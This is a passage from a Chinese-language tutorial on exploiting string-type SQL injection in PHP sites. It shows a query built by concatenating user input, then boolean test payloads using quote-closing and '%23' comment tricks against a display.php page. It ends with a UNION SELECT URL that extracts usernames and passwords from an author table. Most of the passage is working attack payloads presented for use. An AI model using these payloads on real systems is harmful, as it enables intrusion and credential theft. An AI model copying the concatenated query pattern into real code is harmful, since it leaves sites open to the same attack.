|
2. 下面我们来看看字符型的注入方式 在asp中字符型的注入方式很灵活,在php中字符型的注入就主要在 magic_quotes_gpc=Off的情况下进行了。(除非有另外一种情况,先不告诉你) 例如: <?php //display.php …… $query="select * from alphadb where id=’”.$id.”’"; ………….. ?> 这样id就变成字符型的了。 不知道大家发现没有,假如我们这样写程序的话,安全性会有所提高的哦 呵呵,继续了 好我们检验是否有注入先 http://localhost/site/display.php?id=451' and 1=1 and ‘’=’ http://localhost/site/display.php?id=451' and 1=2 and ‘’=’ 带入到sql语句里就是 select * from alphadb where id=’451’and 1=1 and ‘’=’’ select * from alphadb where id=’451’and 1=2 and ‘’=’’ 如果你发现页面信息不同的话说明漏洞存在哦 或者 http://localhost/site/display.php?id=451' and 1=1 %23 http://localhost/site/display.php?id=451' and 1=2 %23
%23转化以后就是#,即注释的意思,上面说过了哦 这样的话就不用考虑那个引号的闭合问题了,实际很多时候我们推荐这种方法。 把它带入到sql语句里就成了 select * from alphadb where id=’451’and 1=1 #’ 正是我们想要的哦! 看看效果吧, http://localhost/site/display.php?id=451' and 1=1 %23 图(14) 正常显示了呓! http://localhost/site/display.php?id=451' and 1=2 %23
图(15) 显示不正常,哈哈,说明问题存在 我们继续哦:
http://localhost/site/display.php?id=451’%20and%201=2%20%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20alphaauthor%23 看图(16) Ok,用户名和密码又出来了哦! 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] 下一页 |